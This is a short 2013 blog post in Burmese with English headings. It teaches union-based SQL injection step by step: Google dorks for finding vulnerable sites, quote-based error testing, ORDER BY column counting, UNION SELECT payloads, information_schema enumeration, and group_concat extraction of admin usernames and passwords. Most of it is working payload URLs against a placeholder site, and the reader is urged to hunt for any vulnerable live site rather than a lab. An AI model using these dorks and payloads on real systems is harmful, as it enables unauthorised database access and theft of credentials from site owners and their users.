December 20, 2013

Union Based SQL Injection

Union Based SQL Injection

က်ေနာ္သိသေလာက္ေလးေတြ ကို ျပန္ေရးေပးတာဆိုေတာ့ အမွားပါရင္လဲ ၾကိုတင္ေတာင္းပန္ထားပါတယ္ခညာ..

SQL Injection ဆိုတာဘာလဲ လို႕ေမးရင္ေတာ့ ေနာက္တင္ေပးပါ့မယ္။ :D

ပထမဆံုးအေနနဲ႕ က်ေနာ္တို႕ SQL Vul ျဖစ္တဲ့ဆိုက္တခုကို အရင္ဆံုးရွာမယ္။

Google Dork ေတြကိုသံုးၿပီးေတာ့ ရွာနိုင္ပါတယ္။ဥပမာ

inurl:index.php?id=

inurl:category.php?id=

inurl:article.php?id=


ဒီလို မ်ိဳး dork ေတြကိုသံုးၿပီးေတာ့ရွာနိုင္ပါတယ္။

http://www.site.com/index.php?id=12


ဒီလိုမ်ိဳးဆိုက္တခုကိုရၿပီဆိုပါေတာ့။ဒီဆိုက္ဟာ SQL vul ျဖစ္မျဖစ္ကို ' ဒါေလးကိုသံုးၿပီးစစ္ၾကည့္မယ္။

http://www.site.com/index.php?id=12'

ဒီလိုမ်ိဳးျဖစ္သြားမယ္။

Error page တခုက်လာၿပီဆုိရင္ေတာ့ ေပ်ာ္လို႕ရပါတယ္။error မက်ဘူးဆိုရင္ေတာ့ ေနာက္တဆိုက္ရွာေပါ့ :P

ေနာက္တဆင့္ကေတာ့ ေကာ္လံအေရတြက္ ကိုသိေအာင္စစ္ၾကည္႔မယ္။  ။

http://www.site.com/index.php?id=12 order by 1-- ဒီလိုမိ်ဳးအရင္ဆံုးစစ္ၾကည့္မယ္

error မတက္ရပါဘူး။ၿပီးရင္ ေအာက္က query လိုမ်ိဳး တိုးၾကည့္မယ္။

http://www.site.com/index.php?id=12 order by 3-- <no error>

http://www.site.com/index.php?id=12 order by 5-- <no error>

http://www.site.com/index.php?id=12 order by 6-- <error>

ေကာ္လံ ၆ ကိုေရာက္ေတာ့ Error တက္တယ္ဆိုပါေတာ့။ဒါဆို ေကာ္လံ ၅ ခုရွိပါတယ္။error တက္တဲ့ ေကာ္လံ ထဲက ေန ၁ ကို နွုတ္လုိက္ပါ။အဲဒါ ေကာ္လံ အေရအတြက္ပါဘဲ။

Finding a vulnerable column


ေကာ္လံဘယ္နခုရွိလဲ သိၿပီဆိုရင္ေတာ့ ဘယ္ေကာ္လံမွာ vul ျဖစ္လည္းဆိုတာကို စစ္ႀကည့္မယ္။

http://www.site.com/index.php?id=12 union select 1,2,3,4,5-- <show vul column>

ဒီလိုဆိုရင္က်ေနာ္တို႕ သိခ်င္တဲ့ vul column ကိုသိပါၿပီ။ ။ဥပမာ ၂ မွာ vul ျဖစ္တယ္ဆိုပါေတာ့။

Finding MySQL version


http://www.site.com/index.php?id=12 union select 1,@@version,3,4,5-- <show version like 5.0.2.1:dcll>

ဒီ query ကိုသံုးၿပီးေတာ့ version သိပါၿပီ။

Finding Table name

Table name ေတြရွာမယ္ဆိုရင္ ေအာက္က query ေတြနဲ႕ရွာပါ မယ္။

http://www.site.com/index.php?id=12 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--

Table ေတြက်လာၿပီဆိုရင္ user, admin စတဲ့ table ေတြကိုအရင္ရွာႀကည့္ပါ။မေတြ႕ရင္ ကိုယ္လိုခ်င္တဲ့ information ရွိမယ္ထင္တဲ့ table  ေတြကို ရွာလိုက္ပါ။admin ဆိုတဲ့ table ရွိတယ္ဆိုပါစို႕။

Finding Column name

admin ဆိုတဲ့ table ထဲကေန က်ေနာ္တုိ႕ ေကာ္လံ ေတြကို ႏွဳိက္ထုတ္ မယ္။ ။

http://www.site.com/index.php?id=12 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0xTableHex--
0xTableHex ဆိုတဲ့ေနရာမွာ admin ဆိုတဲ့ table name ကို hex value ေျပာင္းၿပီး အေရွ႕ကေန 0x ေလးခံထားတာပါ။

က်ေနာ္တို႔ ခုေကာ္လံေတြရ ၿပီဆိုပါေတာ့။ေကာ္လံေတြထဲ မွာ username, password ေကာ္လံေတြပါပါမယ္။

Extracting data


http://www.site.com/index.php?id=12 union select 1,group_concat(username,0x3a,password),3,4,5 from admin--
0x3a ဆိုတာ : ေလးနဲ႕ hex value ပါ။username နဲ႕ password ၾကားမွာ ခြဲထားတဲ့ သေဘာပါ။

Data ေတြရၿပီဆိုရင္ေတာ့ ဘာဆက္လုပ္မလဲ?

:P :D ;)

No comments:

Post a Comment